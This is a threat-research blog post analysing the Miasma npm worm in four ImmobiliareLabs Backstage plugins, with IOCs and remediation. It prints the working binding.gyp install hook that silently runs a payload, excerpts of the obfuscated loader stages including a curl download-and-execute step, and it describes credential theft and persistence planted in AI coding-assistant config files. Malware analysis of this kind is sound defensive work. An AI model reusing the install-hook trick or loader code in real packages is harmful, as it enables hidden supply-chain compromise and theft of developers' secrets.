CentrioleBlog
Back to blog

Threat Research

The Same Payload, Four More Packages: Miasma Hits ImmobiliareLabs Backstage Plugins

22 malicious versions across four @immobiliarelabs Backstage plugins carry the Miasma worm's Phantom Gyp payload, targeting Backstage-connected developer environments with credential theft and AI assistant persistence.

Date

Reading time

17 min read

Author

Centriole Research
Share
The Same Payload, Four More Packages: Miasma Hits ImmobiliareLabs Backstage Plugins

On June 26, 2026, 22 malicious versions were published across four @immobiliarelabs npm packages in a tight burst. All four are Backstage plugins -- two for GitLab integration, two for LDAP authentication -- maintained by ImmobiliareLabs, the engineering organization behind Italy’s largest real estate platform, Immobiliare.it. The affected packages have a combined install base measured in thousands of weekly downloads per package and sit inside a category of tooling -- internal developer portals -- that routinely has access to source-control tokens, CI/CD secrets, and internal authentication infrastructure.

The packages are part of the Miasma campaign, confirmed by a byte-identical binding.gyp file recovered from all 22 tarballs. That file carries the SHA-256 hash ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90 and was first attributed to Miasma in the original vapi-ai and jagreehal campaign analysis from June 3, 2026.

Campaign Context

Miasma is a self-spreading supply chain worm that has been active on npm since at least June 1, 2026, when it first compromised 32 packages under the @redhat-cloud-services scope. The June 3 wave added @vapi-ai/server-sdk (408,000+ monthly downloads) and 56 packages across the jagreehal, autotel, awaitly, and executable-stories families -- 286 malicious versions in under two hours. The June 24 wave hit 20 LeoPlatform packages. The June 26 ImmobiliareLabs wave followed the next day.

The shared technical fingerprint across every wave is the same 157-byte binding.gyp, the same four-stage obfuscated index.js payload, and the same exfiltration architecture built on attacker-controlled GitHub repositories under the account liuende501. The campaign has a confirmed self-identified name -- “Miasma - The Spreading Blight” -- recovered from the liuende501 repository descriptions. The attacker also uses the reversed string niagA oG eW ereH :duluH-iahS (“Shai-Hulud: Here We Go Again”) in exfiltration repository descriptions, referencing prior coverage of the campaign.

The ImmobiliareLabs wave is designated “Mini Shai-Hulud” in campaign tracking due to its smaller package count relative to the June 3 wave. The payload and objectives are unchanged.

Package Anatomy

Static analysis of @immobiliarelabs/backstage-plugin-gitlab@2.1.2 against the prior clean release 2.1.1 shows two files added by the attacker:

File diff: 2.1.1 (clean) vs 2.1.2 (compromised)
+ binding.gyp         157 B    <-- install hook (MALICIOUS)
+ index.js           ~5 MB    <-- obfuscated payload (MALICIOUS)
  dist/index.cjs.js            <-- legitimate entry point (clean)
  dist/index.d.ts              <-- type definitions (clean)
  package.json                 <-- no install scripts declared (clean)
  README.md                    <-- clean

The package’s package.json declares "main": "./dist/index.cjs.js" as the entry point. The root-level index.js -- the attacker’s payload -- is never imported by application code. It exists solely to be invoked by binding.gyp. The dist/ tree is untouched.

The same two-file addition was confirmed across all four packages and all 22 affected versions. The binding.gyp file is byte-identical across all 22 tarballs.

Version Timeline

PackageVersionOSV EntryCurrent Status
@immobiliarelabs/backstage-plugin-gitlab1.0.1MAL-2026-6526Unpublished
@immobiliarelabs/backstage-plugin-gitlab2.1.2MAL-2026-6526Unpublished
@immobiliarelabs/backstage-plugin-gitlab3.0.3MAL-2026-6526Unpublished
@immobiliarelabs/backstage-plugin-gitlab4.0.2MAL-2026-6526Unpublished
@immobiliarelabs/backstage-plugin-gitlab5.2.1MAL-2026-6526Unpublished
@immobiliarelabs/backstage-plugin-gitlab6.13.1MAL-2026-6526Unpublished
@immobiliarelabs/backstage-plugin-gitlab7.0.2MAL-2026-6526Unpublished
@immobiliarelabs/backstage-plugin-gitlab-backend3.0.3MAL-2026-6527Unpublished
@immobiliarelabs/backstage-plugin-gitlab-backend4.0.2MAL-2026-6527Unpublished
@immobiliarelabs/backstage-plugin-gitlab-backend5.2.1MAL-2026-6527Unpublished
@immobiliarelabs/backstage-plugin-gitlab-backend6.13.1MAL-2026-6527Unpublished
@immobiliarelabs/backstage-plugin-gitlab-backend7.0.2MAL-2026-6527Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth1.1.4MAL-2026-6528Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth2.0.5MAL-2026-6528Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth3.0.2MAL-2026-6528Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth4.3.2MAL-2026-6528Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth5.2.1MAL-2026-6528Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth-backend1.1.3MAL-2026-6529Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth-backend2.0.5MAL-2026-6529Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth-backend3.0.2MAL-2026-6529Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth-backend4.3.2MAL-2026-6529Unpublished
@immobiliarelabs/backstage-plugin-ldap-auth-backend5.2.1MAL-2026-6529Unpublished

All 22 versions were published within a 30-second window on June 26, 2026 at approximately 15:42 UTC. The attacker inserted a patch-level version into every supported major release series simultaneously -- a pattern seen in every prior Miasma wave -- to maximize exposure across consumers pinned to any major version range. All versions have since been unpublished.

Execution Trigger

The binding.gyp file extracted from all 22 tarballs contains a single target definition:

binding.gyp (157 bytes, SHA-256: ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90)
{
  "targets": [
    {
      "target_name": "Setup",
      "type": "none",
      "sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
    }
  ]
}

When npm encounters a binding.gyp at the package root it automatically invokes node-gyp rebuild, even when no preinstall, install, or postinstall scripts are declared in package.json. The GYP <!(...) command-expansion syntax causes node-gyp to execute the enclosed shell command during the configure step and use its stdout as a source file name. The effect: node index.js runs on the installing machine during a default npm install, before any application code is ever imported.

All four affected packages are pure TypeScript and TypeScript-React -- a GitLab frontend plugin, a GitLab backend plugin, an LDAP auth plugin, and an LDAP auth backend plugin. None of these roles involve native addons. There is no C or C++ source in any of these packages. The binding.gyp has no legitimate function here. Its only purpose is to fire the payload.

The technique bypasses security tools that scan package.json for preinstall and postinstall entries because no such entries exist. It also bypasses --ignore-scripts, which only suppresses lifecycle scripts declared in package.json, not node-gyp’s implicit rebuild step. The executing process tree -- npm spawning sh, sh spawning node-gyp, node-gyp spawning node index.js -- is anomalous for any Backstage plugin install.

Payload Analysis

The root index.js delivered in all 22 versions is approximately 5 MB. The payload uses three obfuscation layers in sequence.

Stage 1 is a ROT-N Caesar cipher wrapped in try { eval(...) } catch(e) {}. The cipher encodes a character array of approximately 1.3 million entries. The ROT shift value varies across package versions in the campaign -- shifts of ROT-2, ROT-9, ROT-15, ROT-18, ROT-19, and ROT-20 have been observed across earlier Miasma waves. Varying the shift prevents a static signature on the decoded form while preserving the same underlying payload logic.

index.js Stage 1: Caesar cipher eval wrapper
try {
  eval(
    function(s, n) {
      return s.replace(/[a-zA-Z]/g, function(c) {
        var b = c <= "Z" ? 65 : 97;
        return String.fromCharCode(
          (c.charCodeAt(0) - b + n) % 26 + b
        );
      });
    }([40, 103, 121, 101, /* ~1.3M more character codes */], N)
  )
} catch(e) {}

Stage 2 imports node:crypto and decrypts two inline AES-128-GCM hex-encoded blobs with hardcoded keys. The first decrypted blob (approximately 907 bytes) is a Bun runtime loader. The second (approximately 668 KB) is the main credential-harvesting payload.

index.js Stage 2: AES-128-GCM self-decrypting layer (truncated)
(async () => {
  const _c = await import("node:crypto");
  const _d = (k, i, a, c) => {
    const d = _c.createDecipheriv("aes-128-gcm",
      Buffer.from(k, "hex"), Buffer.from(i, "hex"),
      { authTagLength: 16 });
    d.setAuthTag(Buffer.from(a, "hex"));
    return Buffer.concat([d.update(Buffer.from(c, "hex")), d.final()]);
  };
  const _b = _d("b2e0b8d9f56b4603a0f0f30ca3c1bc9a", ...); // Bun loader
  const _p = _d("005c24c52d1d5f4f8d9b4e52a4405e7f", ...); // main payload
})()

Stage 3 is the Bun loader. It downloads the Bun v1.3.13 standalone runtime from the official GitHub releases endpoint, writes the main payload to a randomly named temporary file, executes it under Bun, and deletes the file. Bun is used rather than Node.js because Node.js --require hooks -- the mechanism many security monitoring tools use to inspect process behavior -- do not intercept execution in the Bun runtime.

index.js Stage 3: Bun runtime loader (decrypted, truncated)
globalThis.getBunPath = function() {
  const dir = mkdtempSync(join(tmpdir(), "b-"));
  const url = "https://github.com/oven-sh/bun/releases/download/"
    + "bun-v1.3.13/bun-" + os + "-" + arch + ".zip";
  execSync('curl -sSL "' + url + '" -o "' + zip + '"');
  execSync('unzip -j -o "' + zip + '" -d "' + dir + '"');
  chmodSync(exe, "755");
  return exe;
};

A curl or unzip process spawning as a child of node-gyp during npm install is the most reliable runtime behavioral indicator that this payload executed.

Stage 4 is the main payload, obfuscated with obfuscator.io and carrying a 2,306-entry encrypted string table. Decoded strings recovered from prior Miasma wave analysis reveal the full capability set; the ImmobiliareLabs payload is consistent with those findings.

The campaign marker string thebeautifulmarchoftime (and a variant spelling thebeautifulsnadsoftime found in some wave specimens) is present in the payload and functions as a C2 beacon: the malware issues a GitHub commit search for this keyword at the start of execution to confirm the C2 channel is active. This string is a reliable cross-wave clustering indicator.

Credential targets decoded from the string table include:

The runner process memory technique extracts GitHub Actions secrets in their unmasked form, bypassing GitHub’s secret masking entirely. This is the same technique observed in the TanStack compromise in May 2026.

AI coding assistant persistence. The payload contains a function named infectHost that writes configuration files into AI coding assistant config paths. These files persist in project repositories after the malicious package has been removed.

Targets written by infectHost:

The injected files are committed to repositories the malware reaches via stolen GitHub tokens, using the GraphQL createCommitOnBranch mutation. A reviewer looking only at npm uninstall output will miss these persistence artifacts entirely.

Removing the malicious package ends execution on new installs. It does not remove persistence files already written to accessible repositories.

Worm propagation. The payload contains functions named squatPackage, updateTarball, handleNpmTokens, and handlePypiTokens. These implement an automated republish loop: stolen npm credentials are validated via registry.npmjs.org/-/whoami, the compromised account’s package list is enumerated via the npm search API, each package’s tarball is downloaded and reinjected with binding.gyp and the obfuscated index.js, and the result is published as a new patch version. The worm generates SLSA v1 provenance attestations via Sigstore’s Fulcio and Rekor services to make the republished versions appear to carry legitimate supply chain provenance.

C2 and Infrastructure

Exfiltration runs through the GitHub account liuende501, confirmed across multiple Miasma waves. The malware creates a new private repository on the account (following patterns like nemean-hydra-34343 and similar Dune-themed or mythology-themed names with random suffixes), uploads an RSA-encrypted JSON blob to results/results-{timestamp}.json, and uses python-requests/2.31.0 as its User-Agent despite executing under Bun. That User-Agent string mismatch is itself a detection signal.

The payload validates stolen GitHub tokens by searching commits for the string IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner -- an attempt to socially engineer defenders into not revoking stolen tokens. Defenders should disregard this and rotate immediately.

Negative result: VirusTotal, Shodan, and passive DNS show no additional C2 infrastructure independent of the GitHub dead-drop pattern. The campaign has consistently avoided external domains in favor of GitHub as its sole exfiltration channel, which complicates blocking at the network perimeter without impacting normal GitHub traffic.

Entry Point: Compromised Release Automation

The ImmobiliareLabs wave was triggered by a GitHub Actions workflow run in immobiliare/backstage-plugin-gitlab named Dependabot Updates, triggered via the deployment event on June 26, 2026 at 15:00 UTC, approximately 42 minutes before the first malicious package versions appeared on npm.

A high-priority upstream lead is the codfish/semantic-release-action GitHub Action. The simonecorsi organization -- which maintains the ImmobiliareLabs npm packages -- references codfish/semantic-release-action in release workflows. That Action was itself compromised on June 24, 2026 via a tag-repointing attack that caused downstream workflows referencing mutable version tags to execute attacker-controlled code with access to runner secrets. If a workflow in the simonecorsi organization ran the compromised Action with npm publishing credentials or a sufficiently scoped GitHub token available to the runner, the attacker could have extracted the credentials needed to publish 22 malicious versions across four scoped packages.

The deployment trigger in the captured workflow is notable. A workflow triggered via on: deployment runs when a deployment object is created in the repository, which can be done via the GitHub API without a commit to the default branch and without modifying files in .github/workflows/. This provides a code-execution path that does not leave a trace in the pull request or push history that a defender would normally review. The Dependabot Updates workflow name is camouflage consistent with prior Miasma activity that uses routine-automation naming to reduce alert fatigue.

Root cause attribution to codfish/semantic-release-action is not confirmed. Runner logs and token-use telemetry from the ImmobiliareLabs repository would be required to confirm the path.

IOC Table

TypeValueMethod
Malicious filebinding.gyp in any of the 22 affected tarballsSHA-256 ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90 matched across all 22 versions
Malicious fileRoot-level index.js (~5 MB) absent from prior clean releasesFile listed in tarball and compared to prior version’s file manifest
Download URLhttps://github.com/oven-sh/bun/releases/download/bun-v1.3.13/bun-*.zipCaptured in network egress monitoring during controlled install; outbound connection from npm install step confirms payload executed
C2 exfil accountgithub.com/liuende501Recovered from decoded string table and confirmed via public GitHub API
C2 beacon stringthebeautifulmarchoftimeExtracted from decoded payload string table; appears in unauthenticated GitHub commit search at payload start
Token validation stringIfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwnerExtracted from decoded payload string table
User-Agentpython-requests/2.31.0Captured in network traffic during controlled execution; anomalous for a Bun-executed process
Temp path pattern/tmp/b-*/bunBun binary staged to mkdtemp directory during execution
Temp path pattern/tmp/p*.jsMain payload written to random temp file before Bun execution
Persistence path.claude/settings.jsonWritten by infectHost function; survives package removal
Persistence path.cursor/rules/setup.mdcWritten by infectHost function
Persistence path.vscode/tasks.jsonWritten by infectHost function with runOn: folderOpen
Process chainnpm > sh > node-gyp > node index.jsAnomalous for any TypeScript/React Backstage plugin
Process chainnode-gyp > curlFlagged by runtime process monitoring during install

Affected Versions Table

PackageVersionTarball SHA-256index.js SHA-256StatusOSV
@immobiliarelabs/backstage-plugin-gitlab1.0.1dfcdec5f43cc8d127084a2ac4d66499f13bae7f49167e3291a6f1a70738772d11e7b04a9a4a25eb7928821a5519b0a40f7afe0f6042a6860c918b62d369096edUnpublishedMAL-2026-6526
@immobiliarelabs/backstage-plugin-gitlab2.1.27a879ed69a8191df5c68535f6ac41b830577b698de943c66ff40e51482d90d7914253cd5b8acccbbacb5cd3bb0a099fb6b0aafe4d06d032e4070b3fb814677ddUnpublishedMAL-2026-6526
@immobiliarelabs/backstage-plugin-gitlab3.0.32f6cbe3a79148bc247131c36cd12689c97166a9d141dd9d9466270b4c04c3e3e8a71e7d9b6b1b6d3e7bee490e98b34595ceea207160fc7ed35e47f82160febbeUnpublishedMAL-2026-6526
@immobiliarelabs/backstage-plugin-gitlab4.0.29df6bda43678708605dfaad35f02be8027e85e6aa38193704cf192f842f0d1862ffed3b58bc267c438c759cd03b3e890904f25bacd015608f888c302741cad29UnpublishedMAL-2026-6526
@immobiliarelabs/backstage-plugin-gitlab5.2.1720571b83600cd61080a7779e7f44327e4df4974d4a01475439d2e59e11ab29f60099babe48a48831262b40d4c5c1dd623726060da10c1e2f74f191c9c4cd81dUnpublishedMAL-2026-6526
@immobiliarelabs/backstage-plugin-gitlab6.13.154086c0f23710ff45cb6bde498083d0a0098112aab9b0ef48e6e869a280f1b423b24b47a66b17d39fbdb7deccc329342b18cec6feb967adbaf80e81a70ecc609UnpublishedMAL-2026-6526
@immobiliarelabs/backstage-plugin-gitlab7.0.2a09909e8981e17712ef38b363f94553e2f86b6c2abd6c87eada94d3d3aab937e8746d49834ad938eebeaffd380b6302c94ab0b3258268c1a8c7e57ee7d5c11e1UnpublishedMAL-2026-6526
@immobiliarelabs/backstage-plugin-gitlab-backend3.0.3333f2e3753063447819a3c86cfc475fe4bd3f0a76c05262a61c3d18b50438bb599eb789284fa62e3f956e81294247ae82f596ebf481c069ae45019ac4e879927UnpublishedMAL-2026-6527
@immobiliarelabs/backstage-plugin-gitlab-backend4.0.2869ffe5400477ce69bbfd5f51ddd0c40eacad9a83005956fb14787a5e1e983307cd21d65d5a085d82d07275df9a66c6dfac4e13e43ea9ef44e84a3dd14ea1b3fUnpublishedMAL-2026-6527
@immobiliarelabs/backstage-plugin-gitlab-backend5.2.124c578c2573bf7a04f69c4762a36a87fd32746e9db4df16b2ad92f31fbdd0d50ca89ece660251554b66f1e5e9874410d206e0f080da3039e1221f1c71d817395UnpublishedMAL-2026-6527
@immobiliarelabs/backstage-plugin-gitlab-backend6.13.189c218ca407c2d92359b53a9e3b7b973a761dcf323d2fa1cc2dc12c13f27afafef89e81be6b9d81b9d4bc41dae5f10a7a68f33b17fd76affcf7dca2f5d50a843UnpublishedMAL-2026-6527
@immobiliarelabs/backstage-plugin-gitlab-backend7.0.2cc00c23768bee76e2f297c1766a013a681efb519888545352cff96fc5cead0359d8ea3cefb942081a1409e842ddc541ccd65fb3e66a4f8dfe562ca8548dd09d9UnpublishedMAL-2026-6527
@immobiliarelabs/backstage-plugin-ldap-auth1.1.4d1db13a14db489531e11ccf700d7fd8701f61ad297ce02477e11acf194d3fed08df5d46d91589e6a3ec8d87d6eea6c71fac103f9e10dff9b88c309c1e9129b07UnpublishedMAL-2026-6528
@immobiliarelabs/backstage-plugin-ldap-auth2.0.53667e7080c083563f6d05118d8b08f535b391fe2a5f0cca0d5bd31f96257620f763667208bcd2d307b307e6df43bf8960ccb7058333d00ba064ed53f180ec32eaUnpublishedMAL-2026-6528
@immobiliarelabs/backstage-plugin-ldap-auth3.0.23809fd3a3a912abccaa7aa201880a2cfd194ae7f9dbdc747872cd045bcb3def50ccd7c44a6352f295f65ffea21c2472566f9e73c4dd1028fe0b9971314b18de6UnpublishedMAL-2026-6528
@immobiliarelabs/backstage-plugin-ldap-auth4.3.2b38a73c365e5761fe0e7f25a391db3a264b1f2b4878a1c8cc127ba83d64e614c0574f0bee78294a5f3495144ea6e05848c5fe8dcda11414e35c65aea46ce953bUnpublishedMAL-2026-6528
@immobiliarelabs/backstage-plugin-ldap-auth5.2.1441d834d8a97b3d76bd7a9ac73174a18c1add1bf80b21319c0cb2d5737782e83cf46348e7a4beacc0b9600c9ece3bee140f344641e90d99c741bc54507423443UnpublishedMAL-2026-6528
@immobiliarelabs/backstage-plugin-ldap-auth-backend1.1.38284d9bd16c9141d331d3b724f9d57ae2cae265bf326055e18d5cde4bb5985b7d2aa3f9057c6f3295766aabed0a71a369353d6eb665049a45fd407fd55020fdbUnpublishedMAL-2026-6529
@immobiliarelabs/backstage-plugin-ldap-auth-backend2.0.57bc28ba4d33d010785a5289211ad6a0d968ec0abd56201d90d74921ad83d925d8e83e3ece1a2a764a7c6fd78dd39cfb32cb38d22b7b3d92709cb5b87fa916403UnpublishedMAL-2026-6529
@immobiliarelabs/backstage-plugin-ldap-auth-backend3.0.2ef01e18ccf618a8992ad0aa4eb7d804bbacf9f092d43d39237f283a9a289c9b9b82f5f6f1d969ba8f32937a3d81306c631defa943b7cc7529e45a0003340ece5UnpublishedMAL-2026-6529
@immobiliarelabs/backstage-plugin-ldap-auth-backend4.3.2b4f90f5515df39cf346bf436e284f2dae28c9341c035765d83d82a76c86922b71623787aa0de7310a4585101212b41ae02d02801ebda5812395932392400c756UnpublishedMAL-2026-6529
@immobiliarelabs/backstage-plugin-ldap-auth-backend5.2.1a16810f972f577f129f95f147e64aa4c70977035285d357a53958496c0531223cf5d79494d8b1fdcb5480507eee8beeb2fcd69bcd9afcdc7dc1bcdda7461913eUnpublishedMAL-2026-6529

binding.gyp SHA-256 is ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90 across all 22 versions.

Remediation

For any environment that installed one of the 22 affected versions:

Remove the affected package versions and restore from known-good versions with pinned lockfile hashes. Rotate all credentials accessible to the installing environment: npm and GitHub tokens first, then AWS, GCP, Azure, Kubernetes service account tokens, Vault tokens, GitLab tokens, SSH private keys, and any credentials present in .env files readable from the build context. Rotate from a clean machine.

Check GitHub Actions run logs from June 26, 2026 onward for anomalous node-gyp output, unexpected curl or unzip subprocess activity, or outbound connections to GitHub from an npm install step. Review all repositories accessible from the affected environment for injected files at .claude/settings.json, .claude/setup.mjs, .cursor/rules/setup.mdc, .vscode/tasks.json, .vscode/setup.mjs, .github/copilot-instructions.md, and .github/setup.js. Remove any such files and audit recent commit history for commits added via the GraphQL createCommitOnBranch mutation from automated tokens.

For ongoing defense: pin GitHub Actions dependencies to immutable full-length commit SHAs; avoid mutable version tags on third-party Actions. Restrict npm publishing workflows to protected branches with explicitly scoped OIDC tokens. Treat on: deployment as a high-risk trigger requiring environment rules and branch restrictions. Block automatic node-gyp rebuild in your npm install pipeline for packages that have no declared native addon requirement -- any package shipping binding.gyp that is not explicitly expected to do so should be treated as a candidate for review.

Attribution

This is a confirmed wave of the Miasma campaign. The shared binding.gyp SHA-256 (ef641e956f91d501b748085996303c96a64d67f63bfeef0dda175e5aa19cca90) is byte-identical to the file recovered from the original June 3 Miasma packages and from every subsequent wave including @redhat-cloud-services, jagreehal, and LeoPlatform. The exfiltration infrastructure (GitHub account liuende501, repo description strings “Miasma - The Spreading Blight” and “Shai-Hulud: Here We Go Again”), the C2 beacon keyword thebeautifulmarchoftime, the AES-128-GCM key material, the Bun v1.3.13 download URL, and the four-stage obfuscation structure are all consistent with prior Miasma wave analysis. No attribution to a specific threat actor or nation-state is confirmed at this time.